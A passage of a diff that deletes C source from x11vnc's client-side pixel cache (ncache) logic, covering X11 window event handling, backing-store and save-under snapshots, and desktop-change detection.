-if (ncdb) fprintf(stderr, "*SNAP BS_save: 0x%lx %d %d %d\n", win, aw, ah, cache_list[idx].map_state);
- valid = 0;
- bs_save(idx, bat, &attr, 1, 0, &valid, 0);
- if (valid) {
- STORE(idx, win, attr);
- } else {
- DELETE(idx);
- }
- }
- } else {
-if (ncdb) fprintf(stderr, "*SCHED LOOKUP FAIL: i=%d 0x%lx\n", i, win);
- }
- }
- sched_bs[i] = None;
- }
- *did_sched = 1;
-
- if (n_MN || n_UN || n_ST || n_DC) {
- if (last_sched_vis < now) {
- last_sched_vis += 1.0;
- }
- } else if (now > last_sched_vis + 3.0 && now > last_wireframe + 2.0) {
- static double last_vis = 0.0;
- int vis_now[32], top_now[32];
- static int vis_prev[32], freq = 0;
- int diff, nv = 32, vis_now_n = 0;
- Window win;
-
- freq++;
-
- for (i=0; i < cache_list_num; i++) {
- int ok = 0;
- int top_only = 1;
- int aw = cache_list[i].width;
- int ah = cache_list[i].height;
- int map_prev = cache_list[i].map_state;
-
- win = cache_list[i].win;
-
- if (saw_desktop_change) {
- top_only = 0;
- }
-
- if (win == None) {
- continue;
- }
- /* XXX Y resp */
- if (saw_desktop_change || freq % 5 == 0) {
- int vret = 0;
- X_LOCK;
- vret = valid_window(win, &attr, 1);
- X_UNLOCK;
- if (!vret) {
- continue;
- }
- STORE(i, win, attr);
- }
- if (!cache_list[i].valid) {
- continue;
- }
- if (cache_list[i].map_state != IsViewable) {
- continue;
- }
- if (cache_list[i].vis_state == VisibilityFullyObscured) {
- continue;
- }
- if (map_prev != IsViewable) {
- /* we hope to catch it below in the normal event processing */
- continue;
- }
- if (aw * ah < 64 * 64) {
- continue;
- }
- if (top_only) {
- if (cache_list[i].vis_state == VisibilityUnobscured) {
- ok = 1;
- } else if (!clipped(i)) {
- ok = 1;
- }
- } else {
- ok = 1;
- }
- if (ok) {
- if (vis_now_n < nv) {
- vis_now[vis_now_n] = i;
- top_now[vis_now_n++] = top_only;
- }
- }
- }
- diff = 0;
- for (k = 0; k < vis_now_n; k++) {
- if (vis_now[k] != vis_prev[k]) {
- diff = 1;
- }
- }
- if (diff == 0) {
- if (now > last_vis + 45.0) {
- diff = 1;
- }
- }
- if (diff) {
-if (ncdb && vis_now_n) fprintf(stderr, "*VIS snapshot all %.4f\n", dnowx());
- for (k = 0; k < vis_now_n; k++) {
- i = vis_now[k];
- win = cache_list[i].win;
- valid = 0;
-if (ncdb) fprintf(stderr, "*VIS BS_save: 0x%lx %d %d %d\n", win, cache_list[i].width, cache_list[i].height, cache_list[i].map_state);
- if (now < cache_list[i].vis_unobs_time + 0.75 && now < cache_list[i].vis_obs_time + 0.75) {
- continue;
- }
- bs_save(i, bat, &attr, !top_now[k], 0, &valid, 1);
- if (valid) {
- STORE(i, win, attr);
- } else {
- DELETE(i);
- }
- vis_prev[k] = vis_now[k];
- }
- last_vis = dnow();
- }
- last_sched_vis = dnow();
- if (! n_DC) {
- saw_desktop_change = 0;
- }
- /* XXX Y */
- try_to_synthesize_su(0, 0, bat);
- }
-
- if (nr) {
- batch_push(nr, -1.0);
- }
- last_sched_bs = dnow();
- }
-#if !NO_X11
- if (dpy && atom_XROOTPMAP_ID == None && now > last_pixmap + 5.0) {
- atom_XROOTPMAP_ID = XInternAtom(dpy, "_XROOTPMAP_ID", True);
- last_pixmap = now;
- }
-#endif
- if (got_XROOTPMAP_ID > 0.0) {
-if (ncdb) fprintf(stderr, "got_XROOTPMAP_ID\n");
- if (ncache_xrootpmap) {
- set_ncache_xrootpmap();
- }
- got_XROOTPMAP_ID = 0.0;
- }
-}
-
-int check_ncache(int reset, int mode) {
- static int first = 1;
- static int last_client_count = -1;
- int i, k, n;
- int did_sched = 0;
-
- Window win, win2;
- XWindowAttributes attr;
- int valid;
- int try_batch = 1; /* XXX Y */
- int use_batch = 0;
- int nreg = 0, *nbatch;
- int create_cnt;
- int su_fix_cnt;
- int pixels = 0, ttot;
- int desktop_change = 0, n1, n2;
- int desktop_change_old_wm = 0;
- int missed_su_restore = 0;
- int missed_bs_restore = 0;
- sraRegionPtr r0, r;
- sraRegionPtr missed_su_restore_rgn;
- sraRegionPtr missed_bs_restore_rgn;
- sraRegionPtr unmapped_rgn;
-
- int nrects = 0;
- int nsave, nxsel;
- double now;
-
- int skipwins_n = 0;
- int skipwins_max = 256;
- Window skipwins[256];
-
- static char *dt_guess = NULL;
- static double dt_last = 0.0;
- int dt_gnome = 0, gnome_animation = 0;
- int dt_kde = 0;
-
- if (unixpw_in_progress) return -1;
-
-#ifdef MACOSX
- if (! macosx_console) {
- RAWFB_RET(-1)
- }
- if (! screen) {
- return -1;
- }
-#else
- RAWFB_RET(-1)
- if (! screen || ! dpy) {
- return -1;
- }
-#endif
-
- now = dnow();
-
-#ifdef NO_NCACHE
- ncache = 0;
-#endif
-
- if (reset && (first || cache_list_len == 0)) {
- return -1;
- }
- if (use_threads) {
- try_batch = 0;
- }
-
- if (ncache0) {
- if (reset) {
- ;
- } else if (!client_count || !ncache || nofb) {
- static double last_purge = 0.0;
- double delay = client_count ? 0.5 : 2.0;
- if (now > last_purge + delay) {
- int c = 0;
- XEvent ev;
- X_LOCK;
- while (xcheckmaskevent(dpy, all_ev, &ev)) {
- c++;
- }
- X_UNLOCK;
- last_purge = dnow();
-if (ncdb && c) fprintf(stderr, "check_ncache purged %d events\n", c);
- }
- if (!client_count && last_client_count >= 0 &&
- client_count != last_client_count) {
- /* this should use less RAM when no clients */
- do_new_fb(1);
- }
- last_client_count = client_count;
- return -1;
- }
- }
- last_client_count = client_count;
-
- if (ncache && ! ncache0) {
- ncache0 = ncache;
- }
-
- if (! ncache || ! ncache0) {
- return -1;
- }
- if (subwin) {
- return -1;
- }
- if (nofb) {
- return -1;
- }
- if (now < last_client + 4) {
- return -1;
- }
- if (! all_clients_initialized()) {
- /* play it safe */
- return -1;
- }
-
-
-
- if (reset) {
- rfbLog("check_ncache: resetting cache: %d/%d %d %d\n", cache_list_num, cache_list_len, ncache, first);
- for (i=0; i < cache_list_num; i++) {
- free_rect(i);
- }
- for (n = 1; n <= ncache; n++) {
- if (rect_reg[n] != NULL) {
- sraRgnDestroy(rect_reg[n]);
- rect_reg[n] = NULL;
- }
- }
- zero_fb(0, dpy_y, dpy_x, (ncache+1)*dpy_y);
- mark_rect_as_modified(0, dpy_y, dpy_x, (ncache+1)*dpy_y, 0);
-
- if (ncache_xrootpmap) {
- set_ncache_xrootpmap();
- }
-
- snap_old();
- return -1;
- }
-
- if (first) {
- int dx = 10, dy = 24, ds = 0;
- int Dx = dpy_x, Dy = dpy_y;
- first = 0;
- for (i=0; i < NRECENT; i++) {
- recent[i] = None;
- }
- for (i=0; i < NSCHED; i++) {
- sched_bs[i] = None;
- }
- rlast = 0;
-
- X_LOCK;
- /* event leak with client_count == 0 */
- xselectinput_rootwin |= SubstructureNotifyMask;
- XSelectInput_wr(dpy, rootwin, xselectinput_rootwin);
- X_UNLOCK;
-
- if (scaling) {
- Dx = scaled_x;
- Dy = scaled_y;
- }
- if (!rotating_same) {
- int t = Dx;
- Dx = Dy;
- Dy = t;
- }
-
- for (i = 0; i < 3; i++) {
- rfbDrawString(screen, &default8x16Font, dx, ds + Dy+1*dy,
- "This is the Pixel buffer cache region. Your VNC Viewer is not hiding it from you.",
- white_pixel());
- rfbDrawString(screen, &default8x16Font, dx, ds + Dy+2*dy,
- "Try resizing your VNC Viewer so you don't see it!!",
- white_pixel());
- rfbDrawString(screen, &default8x16Font, dx, ds + Dy+3*dy,
- "Pay no attention to the man behind the curtain...",
- white_pixel());
- rfbDrawString(screen, &default8x16Font, dx, ds + Dy+4*dy,
- "To disable caching run the server with: x11vnc -noncache ...",
- white_pixel());
- rfbDrawString(screen, &default8x16Font, dx, ds + Dy+5*dy,
- "If there are painting errors press 3 Alt_L's (Left \"Alt\" key) in a row to repaint the screen.",
- white_pixel());
- rfbDrawString(screen, &default8x16Font, dx, ds + Dy+6*dy,
- "More info: http://www.karlrunge.com/x11vnc/faq.html#faq-client-caching",
- white_pixel());
-
- ds += 11 * dy;
- }
-
- snapshot_cache_list(0, 100.0);
- for (i=0; i < cache_list_num; i++) {
- CLEAR(i);
- }
- for (n = 1; n <= ncache; n++) {
- rect_reg[n] = NULL;
- }
-
- if (ncache_xrootpmap) {
- set_ncache_xrootpmap();
- }
-
- snap_old();
- }
-
- check_zero_rects();
-
-if (hack_val == 2) {
- block_stats();
- hack_val = 1;
-}
-#ifdef MACOSX
- if (macosx_console) {
- static double last_all_windows = 0.0;
- if (! macosx_checkevent(NULL)) {
- if (now > last_all_windows + 0.05) {
- macosxCGS_get_all_windows();
- last_all_windows = dnow();
- }
- }
- /* XXX Y */
- rootwin = -1;
- }
-#endif
-
- n = 0;
- ttot = 0;
-
- if (dt_guess == NULL || now > dt_last + 60) {
- static char *dt_prev = NULL;
- dt_prev = dt_guess;
- dt_guess = strdup(guess_desktop());
- if (ncache_xrootpmap && dt_prev && dt_guess) {
- if (strcmp(dt_prev, dt_guess)) {
- set_ncache_xrootpmap();
- }
- }
- dt_last = now;
- if (dt_prev) {
- free(dt_prev);
- }
- }
- if (dt_guess && !strcmp(dt_guess, "gnome")) {
- dt_gnome = 1;
- } else if (dt_guess && !strcmp(dt_guess, "kde")) {
- dt_kde = 1;
- }
- if (dt_kde) {
- kde_no_animate(0);
- }
-
- ev_store(None, EV_RESET);
-
- X_LOCK;
- for (k = 1; k <= 3; k++) {
- int j, retry = 0;
-
- if (retry) {}
-
- nsave = n;
-
- if (k > 1 && ncdb) fprintf(stderr, "read_events-%d\n", k);
- read_events(&n);
-
-#if 0
- if (dt_gnome && (n_MN || n_UN)) {
- retry = 1;
- } else if (ncache_old_wm && n_ON_po >= 2) {
- retry = 1;
- } else if (n > nsave) {
- /* XXX Y */
- retry = 1;
- }
-
- if (retry) {
- int n0 = n;
- usleep(25 * 1000);
- XFlush_wr(dpy);
- read_events(&n);
- if (ncdb) fprintf(stderr, "read_events retry: %d -> %d\n", n0, n);
- }
-#endif
-
- if (n > nsave) {
- int n0 = n;
-
- for (j=0; j<4; j++) {
- if (j < 2) {
- usleep(30 * 1000);
- } else {
- usleep(10 * 1000);
- }
- XFlush_wr(dpy);
- read_events(&n);
- if (ncdb) fprintf(stderr, "read_events retry: %d -> %d\n", n0, n);
- if (n == n0) {
- break;
- }
- n0 = n;
- }
- }
-
- nxsel = 0;
-
- /* handle creates and reparenting: */
- for (n1 = nsave; n1 < n; n1++) {
- Window win2;
- int idx;
- XEvent ev = Ev[n1];
- win = Ev_win[n1];
- if (ev.type == CreateNotify) {
- win2 = ev.xcreatewindow.window;
- if (ev_lookup(win2, EV_REPARENT) || ev_lookup(win2, EV_DESTROY)) {
- if (skipwins_n < skipwins_max) {
-if (ncdb) fprintf(stderr, "SKIPWINS: CreateNotify: 0x%lx %d\n", win2, n1);
- skipwins[skipwins_n++] = win2;
- }
- } else {
- idx = lookup_win_index(win);
- if (idx < 0) {
- idx = lookup_free_index();
- if (idx < 0) {
- continue;
- }
- CLEAR(idx);
- }
-if (ncdb) fprintf(stderr, "PRELOOP: CreateNotify: 0x%lx %d valid_window\n", win2, n1);
- if (valid_window(win2, &attr, 1)) {
- STORE(idx, win2, attr);
- CLEAR(idx);
- cache_list[idx].selectinput = 1;
- cache_list[idx].create_cnt = 1;
-if (ncdb) fprintf(stderr, "PRELOOP: CreateNotify: 0x%lx %d xselectinput\n", win2, n1);
- xselectinput(win2, win_ev, 1);
- nxsel++;
- } else {
- DELETE(idx);
- }
- nxsel++;
- }
- } else if (ev.type == ReparentNotify) {
- if (ev.xreparent.parent != rootwin) {
- win2 = ev.xreparent.window;
- if (win2 != rootwin) {
- idx = lookup_win_index(win2);
-if (ncdb) fprintf(stderr, "PRELOOP: RepartNotify: 0x%lx %d idx=%d\n", win2, n1, idx);
- if (idx >= 0) {
- DELETE(idx);
- }
- if (! ev_lookup(win2, EV_CREATE)) {
- xselectinput(win2, 0, 1);
- nxsel++;
- }
- }
- }
- }
- }
- if (nxsel == 0) {
- break;
- }
- }
-
- X_UNLOCK;
-
- if (got_NET_CURRENT_DESKTOP > 0.0) {
- if (dnow() < got_NET_CURRENT_DESKTOP + 0.25) {
- if (ncdb) fprintf(stderr, "***got_NET_CURRENT_DESKTOP n=%d\n", n);
- desktop_change = 1;
- n_DC++;
- } else {
- if (ncdb) fprintf(stderr, "***got_NET_CURRENT_DESKTOP n=%d STALE\n", n);
- }
- got_NET_CURRENT_DESKTOP = 0.0;
- }
-
- if (n == 0) {
- check_sched(try_batch, &did_sched);
- return 0;
- }
-if (ncdb) fprintf(stderr, "\n"); if (ncdb) rfbLog("IN check_ncache() %d events. %.4f\n", n, now - x11vnc_start);
-
- if (try_batch) {
- use_batch = 1;
- }
-
- if (rotating) {
- use_batch = 0;
- }
- if (cursor_noshape_updates_clients(screen)) {
- use_batch = 0;
- }
-
- if (! use_batch) {
- nbatch = NULL;
- } else {
- nreg = 0;
- nbatch = &nreg;
- }
-
- /* XXX Y */
- for (n1 = 0; n1 < n; n1++) {
- Window twin = Ev_map[n1];
- if (twin == None || twin == rootwin) {
- continue;
- }
- for (n2 = 0; n2 < n; n2++) {
- if (Ev_unmap[n2] == twin) {
- if (skipwins_n < skipwins_max) {
-if (ncdb) fprintf(stderr, "SKIPWINS: Ev_unmap/map: 0x%lx %d\n", twin, n2);
- skipwins[skipwins_n++] = twin;
- break;
- }
- }
- }
- }
-
- if (!desktop_change) {
- if (skipwins_n) {
- if (n_MN + n_UN >= 2 + 2*skipwins_n) {
- desktop_change = 1;
- n_DC++;
- }
- } else {
- if (n_MN + n_UN >= 3) {
- desktop_change = 1;
- n_DC++;
- }
- }
- }
- if (ncache_old_wm) {
- int shifts = 0;
- for (i=0; i < n; i++) {
- XEvent ev;
- int type, idx = -1;
- int ik = Ev_order[i];
- int x_new, y_new, w_new, h_new;
- int x_old, y_old, w_old, h_old;
- int old_wm = 0;
-
- if (Ev_done[ik]) continue;
- win = Ev_win[ik];
-
- ev = Ev[ik];
- type = ev.type;
- if (type != ConfigureNotify) {
- continue;
- }
- if (ev_lookup(win, EV_MAP)) {
- continue;
- } else if (ev_lookup(win, EV_UNMAP)) {
- continue;
- } else if (ev_lookup(win, EV_DESTROY)) {
- continue;
- }
-
- idx = lookup_win_index(win);
- if (idx < 0) {
- continue;
- }
- x_new = ev.xconfigure.x;
- y_new = ev.xconfigure.y;
- w_new = ev.xconfigure.width;
- h_new = ev.xconfigure.height;
-
- x_old = cache_list[idx].x;
- y_old = cache_list[idx].y;
- w_old = cache_list[idx].width;
- h_old = cache_list[idx].height;
-
- if (w_new == w_old && h_new == h_old) {
- if (nabs(x_new - x_old) >= dpy_x || nabs(y_new - y_old) >= dpy_y) {
- sraRegionPtr r_old, r_new, r0;
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r_old = sraRgnCreateRect(x_old, y_old, x_old+w_old, y_old+h_old);
- sraRgnAnd(r_old, r0);
- r_new = sraRgnCreateRect(x_new, y_new, x_new+w_new, y_new+h_new);
- sraRgnAnd(r_new, r0);
- if (cache_list[idx].map_state != IsViewable) {
- ev_store(win, EV_OLD_WM_NOTMAPPED);
- } else if (sraRgnEmpty(r_old) && !sraRgnEmpty(r_new)) {
- old_wm = 1;
- ev_store(win, EV_OLD_WM_MAP);
- Ev_map[i] = win;
- } else if (!sraRgnEmpty(r_old) && sraRgnEmpty(r_new)) {
- ev_store(win, EV_OLD_WM_UNMAP);
- old_wm = -1;
- Ev_unmap[i] = win;
- } else {
- ev_store(win, EV_OLD_WM_OFF);
- }
- sraRgnDestroy(r_old);
- sraRgnDestroy(r_new);
- sraRgnDestroy(r0);
- shifts++;
-if (ncdb) fprintf(stderr, "old_wm[%d] +%04d+%04d +%04d+%04d old_wm: %d\n", i, x_old, y_old, x_new, y_new, old_wm);
- }
- }
- }
- if (shifts >= 3) {
-if (ncdb) fprintf(stderr, "DESKTOP_CHANGE_OLD_WM: %d\n", shifts);
- desktop_change = 1;
- desktop_change_old_wm = 1;
- }
- }
-
-#define SKIPUMS \
- ok = 1; \
- if (twin == None || twin == rootwin) { \
- continue; \
- } \
- for (ns = 0; ns < skipwins_n; ns++) { \
- if (skipwins[ns] == twin) { \
- ok = 0; \
- break; \
- } \
- }
-
- if (desktop_change) {
- Window twin;
- int ok, s, k, add, cnt, ns;
-
- cnt = 0;
- add = 0;
- for (i=0; i < n; i++) {
- twin = Ev_unmap[i];
- SKIPUMS
- if (ok) {
-if (ncdb) fprintf(stderr, "U Ev_tmp[%d] = %d\n", cnt, i);
- Ev_tmp[cnt++] = i;
- }
- }
- for (i=0; i < n; i++) {
- twin = Ev_map[i];
- SKIPUMS
- if (ok) {
-if (ncdb) fprintf(stderr, "M Ev_tmp[%d] = %d\n", cnt, i);
- Ev_tmp[cnt++] = i;
- }
- }
- for (k = 0; k < cnt; k++) {
- Ev_tmp2[k] = -1;
- }
- /* unmap from top to bottom */
- for (s = old_stack_n - 1; s >= 0; s--) {
- twin = old_stack[s];
- if (twin == None || twin == rootwin) {
- continue;
- }
- for (k = 0; k < cnt; k++) {
- i = Ev_tmp[k];
- if (twin == Ev_unmap[i]) {
-if (ncdb) fprintf(stderr, "U Ev_tmp2[%d] = %d\n", add, i);
- Ev_tmp2[add++] = i;
- break;
- }
- }
- }
- /* map from bottom to top */
- for (s = 0; s < old_stack_n; s++) {
- twin = old_stack[s];
- if (twin == None || twin == rootwin) {
- continue;
- }
- for (k = 0; k < cnt; k++) {
- i = Ev_tmp[k];
- if (twin == Ev_map[i]) {
-if (ncdb) fprintf(stderr, "M Ev_tmp2[%d] = %d\n", add, i);
- Ev_tmp2[add++] = i;
- break;
- }
- }
- }
- k = 0;
- for (i=0; i < n; i++) {
- Window wu, wm;
- int j;
- int oku = 0, okm = 0;
- wu = Ev_unmap[i];
- wm = Ev_map[i];
- ok = 0;
- if (wu != None && wu != rootwin) oku = 1;
- if (wm != None && wm != rootwin) okm = 1;
- if (!oku && !okm) {
- continue;
- }
- if (oku) {
- twin = wu;
- SKIPUMS
- if (!ok) {
- oku = 0;
- }
- }
- if (okm) {
- twin = wm;
- SKIPUMS
- if (!ok) {
- okm = 0;
- }
- }
- if (!oku && !okm) {
- continue;
- }
- j = Ev_tmp2[k++];
- if (j >= 0) {
-if (ncdb) fprintf(stderr, "UM Ev_order[%d] = %d oku=%d okm=%d\n", i, j, oku, okm);
- Ev_order[i] = j;
- }
- }
- }
-
-#if 0
- if (desktop_change) {
- Window twin;
- int ok, s, k, add, cnt, ns;
-
- cnt = 0;
- add = 0;
- for (i=0; i < n; i++) {
- twin = Ev_unmap[i];
- SKIPUMS
- if (ok) {
- Ev_tmp[cnt++] = i;
- }
- }
- for (k = 0; k < cnt; k++) {
- Ev_tmp2[k] = -1;
- }
- /* unmap from top to bottom */
- for (s = old_stack_n - 1; s >= 0; s--) {
- twin = old_stack[s];
- for (k = 0; k < cnt; k++) {
- i = Ev_tmp[k];
- if (twin == Ev_unmap[i]) {
- Ev_tmp2[add++] = i;
- break;
- }
- }
- }
- k = 0;
- for (i=0; i < n; i++) {
- int j;
- twin = Ev_unmap[i];
- SKIPUMS
- if (ok) {
- j = Ev_tmp2[k++];
- if (j >= 0) {
- Ev_order[i] = j;
- }
- }
- }
-
- cnt = 0;
- add = 0;
- for (i=0; i < n; i++) {
- twin = Ev_map[i];
- SKIPUMS
- if (ok) {
- Ev_tmp[cnt++] = i;
- }
- }
- for (k = 0; k < cnt; k++) {
- Ev_tmp2[k] = -1;
- }
- /* map from bottom to top */
- for (s = 0; s < old_stack_n; s++) {
- twin = old_stack[s];
- for (k = 0; k < cnt; k++) {
- i = Ev_tmp[k];
- if (twin == Ev_map[i]) {
- Ev_tmp2[add++] = i;
- break;
- }
- }
- }
- k = 0;
- for (i=0; i < n; i++) {
- int j;
- twin = Ev_map[i];
- SKIPUMS
- if (ok) {
- j = Ev_tmp2[k++];
- if (j >= 0) {
- Ev_order[i] = j;
- }
- }
- }
- }
-#endif
-
- if (!desktop_change && (n_VN_p && !n_UN && (n_MN || n_ON_st))) {
- if (now < last_vis_unobs_time + 0.75 || now < last_vis_obs_time + 0.75) {
- ;
- } else if (n_MN <= 2 && n_ON_st <= 1) {
- for (i=0; i < n; i++) {
- XEvent ev;
- int type, idx = -1, state, valid;
- int ik = Ev_order[i];
-
- if (Ev_done[ik]) continue;
- win = Ev_win[ik];
-
- ev = Ev[ik];
- type = ev.type;
- if (type != VisibilityNotify) {
- continue;
- }
-
- state = ev.xvisibility.state;
- if (state == VisibilityUnobscured) {
- continue;
- }
- if (ev_lookup(win, EV_MAP)) {
- continue;
- } else if (ev_lookup(win, EV_UNMAP)) {
- continue;
- } else if (ev_lookup(win, EV_DESTROY)) {
- continue;
- }
- idx = lookup_win_index(win);
-
- if (idx < 0) {
- continue;
- }
- if (cache_list[idx].vis_state == VisibilityFullyObscured) {
- continue;
- }
- if (now < cache_list[idx].vis_unobs_time + 3.00 || now < cache_list[idx].vis_obs_time + 3.00) {
- continue;
- }
-
-if (ncdb) fprintf(stderr, "----%02d: VisibilityNotify 0x%lx %3d (*PRELOOP*) state: %s U/P %d/%d\n", ik, win, idx, VState(state), n_VN_u, n_VN_p);
- valid = 0;
- bs_save(idx, nbatch, &attr, 1, 0, &valid, 1);
- if (valid) {
- STORE(idx, win, attr);
- } else {
- DELETE(idx);
- }
-
- cache_list[idx].vis_state = state;
- cache_list[idx].vis_obs_time = last_vis_obs_time = dnow();
- Ev_done[ik] = 1;
- }
- }
- }
- if (desktop_change) {
- if (ncache_dt_change) {
- if (ncdb) fprintf(stderr, "GUESSED DESKTOP CHANGE.\n");
- saw_desktop_change = 1;
- } else {
- if (ncdb) fprintf(stderr, "GUESSED DESKTOP CHANGE. Skipping.\n");
- desktop_change = 0;
- }
- }
-
-
- create_cnt = 0;
- missed_su_restore = 0;
- missed_bs_restore = 0;
- missed_su_restore_rgn = sraRgnCreate();
- missed_bs_restore_rgn = sraRgnCreate();
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- unmapped_rgn = sraRgnCreate();
- su_fix_cnt = 0;
-
-for (k = 0; k < skipwins_n; k++) {
- if (ncdb) fprintf(stderr, "skipwins[%d] 0x%lx\n", k, skipwins[k]);
-}
-
- X_LOCK;
- for (i=0; i < n; i++) {
- XEvent ev;
- int ns, skip = 0, type, idx = -1;
- int ik = Ev_order[i];
-
- if (Ev_done[ik]) continue;
- win = Ev_win[ik];
-
- ev = Ev[ik];
- type = ev.type;
- Ev_done[ik] = 1;
-
- win2 = win;
- if (win == rootwin) {
- if (type == CreateNotify) {
- win2 = ev.xcreatewindow.window;
- } else if (type == ReparentNotify) {
- win2 = ev.xreparent.window;
- }
- }
- for (ns = 0; ns < skipwins_n; ns++) {
- if (win2 == skipwins[ns]) {
- skip = 1;
- break;
- }
- }
- if (skip) {
-if (ncdb) fprintf(stderr, "skip%02d: ** SpecialSkip 0x%lx/0x%lx type: %s\n", ik, win, win2, Etype(type));
- continue;
- }
-
- if (win == rootwin) {
- if (type == CreateNotify) {
- int x=0, y=0, w=0, h=0;
- valid = 0;
- win2 = ev.xcreatewindow.window;
- idx = lookup_win_index(win2);
- if (idx < 0) {
- continue;
- }
- if (cache_list[idx].valid) {
- valid = 1;
- x=cache_list[idx].x;
- y=cache_list[idx].y;
- w=cache_list[idx].width;
- h=cache_list[idx].height;
- if (w*h > 64 * 64 && ev_lookup(win2, EV_MAP)) {
- X_UNLOCK;
- valid = 1;
- su_save(idx, nbatch, &attr, 0, &valid, 1);
- STORE(idx, win2, attr);
-
- X_LOCK;
-
- if (! desktop_change) {
- SCHED(win2, 1)
- }
- create_cnt++;
- }
- }
-if (ncdb) fprintf(stderr, "root%02d: ** CreateNotify 0x%lx %3d -- %dx%d+%d+%d valid=%d\n", ik, win2, idx, w, h, x, y, valid);
-
- } else if (type == ReparentNotify) {
- if (ev.xreparent.parent != rootwin) {
- win2 = ev.xreparent.window;
- idx = lookup_win_index(win2);
-if (ncdb) fprintf(stderr, "root%02d: ReparentNotifyRM 0x%lx %3d\n", ik, win2, idx);
- }
- } else {
-if (ncdb) fprintf(stderr, "root%02d: ** IgnoringRoot 0x%lx type: %s\n", ik, win, Etype(type));
- }
- } else {
- if (type == ConfigureNotify) {
- int x_new, y_new, w_new, h_new;
- int x_old, y_old, w_old, h_old;
- int stack_change, old_wm = 0;
- Window oabove = None;
-
- idx = lookup_win_index(win);
-
- if (idx >= 0) {
- oabove = cache_list[idx].above;
- }
-
-if (ncdb) fprintf(stderr, "----%02d: ConfigureNotify 0x%lx %3d -- above: 0x%lx -> 0x%lx %dx%d+%d+%d\n", ik, win, idx,
- oabove, ev.xconfigure.above, ev.xconfigure.width, ev.xconfigure.height, ev.xconfigure.x, ev.xconfigure.y);
-
- if (idx < 0) {
- continue;
- }
-
- x_new = ev.xconfigure.x;
- y_new = ev.xconfigure.y;
- w_new = ev.xconfigure.width;
- h_new = ev.xconfigure.height;
-
- x_old = cache_list[idx].x;
- y_old = cache_list[idx].y;
- w_old = cache_list[idx].width;
- h_old = cache_list[idx].height;
-
- if (desktop_change_old_wm) {
- if (ev_lookup(win, EV_OLD_WM_MAP)) {
- if (Ev_map[ik] == win) {
- old_wm = 1;
- } else {
- old_wm = 2;
- }
- } else if (ev_lookup(win, EV_OLD_WM_UNMAP)) {
- if (Ev_unmap[ik] == win) {
- old_wm = -1;
- } else {
- old_wm = 2;
- }
- } else if (ev_lookup(win, EV_OLD_WM_OFF)) {
- old_wm = 2;
- } else if (ev_lookup(win, EV_OLD_WM_NOTMAPPED)) {
- old_wm = 3;
- }
- }
-
- if (!old_wm) {
- if (x_old != x_new || y_old != y_new) {
- /* invalidate su */
- cache_list[idx].su_time = 0.0;
-if (ncdb) fprintf(stderr, " INVALIDATE su: 0x%lx xy: +%d+%d +%d+%d \n", win, x_old, y_old, x_new, y_new);
- }
- if (w_old != w_new || h_old != h_new) {
- /* invalidate bs */
- cache_list[idx].bs_time = 0.0;
-if (ncdb) fprintf(stderr, " INVALIDATE bs: 0x%lx wh: %dx%d %dx%d \n", win, w_old, h_old, w_new, h_new);
- }
- } else {
- int valid;
- X_UNLOCK;
- if (old_wm == 1) {
- /* XXX Y */
-if (ncdb) fprintf(stderr, " OLD_WM_MAP: 0x%lx wh: %dx%d+%d+%d %dx%d+%d+%d \n", win, w_old, h_old, x_old, y_old, w_new, h_new, x_new, y_new);
- valid = 0;
- bs_restore(idx, nbatch, NULL, &attr, 0, 0, &valid, 1);
-
- } else if (old_wm == -1) {
-if (ncdb) fprintf(stderr, " OLD_WM_UNMAP: 0x%lx wh: %dx%d+%d+%d %dx%d+%d+%d \n", win, w_old, h_old, x_old, y_old, w_new, h_new, x_new, y_new);
- valid = 1;
- su_restore(idx, nbatch, NULL, &attr, 1, 0, &valid, 1);
- } else {
-if (ncdb) fprintf(stderr, " OLD_WM_OFF:: 0x%lx wh: %dx%d+%d+%d %dx%d+%d+%d old_wm=%d\n", win, w_old, h_old, x_old, y_old, w_new, h_new, x_new, y_new, old_wm);
- }
- X_LOCK;
- }
-
- stack_change = 0;
- if (old_wm) {
- ;
- } else if (cache_list[idx].above != ev.xconfigure.above) {
- stack_change = 1;
- } else if (x_new == x_old && y_new == y_old && w_new == w_old && h_new == h_old) {
- stack_change = 1;
- }
- if (stack_change) {
- int i2, ok = 1;
- for (i2=0; i2 < n; i2++) {
- if (Ev_map[i2] == win) {
- ok = 0;
- break;
- }
- }
- if (ok) {
- if (n_MN == 0 && n_UN == 0) {
- if (su_fix_cnt > 0) {
- ok = 0;
-if (ncdb) fprintf(stderr, " CONF_IGNORE: Too many stacking changes: 0x%lx\n", win);
- }
- }
-
- }
- if (ok) {
- if (ev_lookup(ev.xconfigure.above, EV_UNMAP)) {
- if (ncdb) fprintf(stderr, " skip try_to_fix_su for GNOME deiconify #1\n");
- if (dt_gnome) {
- gnome_animation = 1;
- }
- ok = 0;
- }
- }
- if (ok && dt_gnome) {
- if (valid_window(ev.xconfigure.above, &attr, 1)) {
- if (attr.map_state != IsViewable) {
- if (ncdb) fprintf(stderr, " skip try_to_fix_su for GNOME deiconify #2\n");
- gnome_animation = 1;
- ok = 0;
- }
- }
- }
- if (ok) {
- int rc = try_to_fix_su(win, idx, ev.xconfigure.above, nbatch, NULL);
- if (rc == 0 && su_fix_cnt == 0 && n_MN == 0 && n_UN == 0) {
- X_UNLOCK;
- try_to_synthesize_su(1, 1, nbatch);
- X_LOCK;
- }
- n_ST++;
- su_fix_cnt++;
- }
- }
-
- cache_list[idx].x = x_new;
- cache_list[idx].y = y_new;
- cache_list[idx].width = w_new;
- cache_list[idx].height = h_new;
-
- cache_list[idx].above = ev.xconfigure.above;
- cache_list[idx].time = dnow();
-
- } else if (type == VisibilityNotify) {
- int state = ev.xvisibility.state;
- idx = lookup_win_index(win);
-if (ncdb) fprintf(stderr, "----%02d: VisibilityNotify 0x%lx %3d state: %s U/P %d/%d\n", ik, win, idx, VState(state), n_VN_u, n_VN_p);
-
- if (idx < 0) {
- continue;
- }
- if (desktop_change) {
- ;
- } else if (macosx_console && n_VN_p == 0) {
- ; /* XXXX not working well yet with UnmapNotify ... */
- } else if (state == VisibilityUnobscured) {
- int ok = 1;
- if (ncache <= 2) {
- ok = 0;
- } else if (ev_lookup(win, EV_MAP)) {
- ok = 0;
- } else if (ev_lookup(win, EV_UNMAP)) {
- ok = 0;
- } else if (ev_lookup(win, EV_DESTROY)) {
- ok = 0;
- } else if (gnome_animation) {
- ok = 0;
- } else {
- /* this is for gnome iconify */
- int i2;
- for (i2=i+1; i2 < n; i2++) {
- int idx2, ik2 = Ev_order[i2];
- sraRegionPtr ro1, ro2;
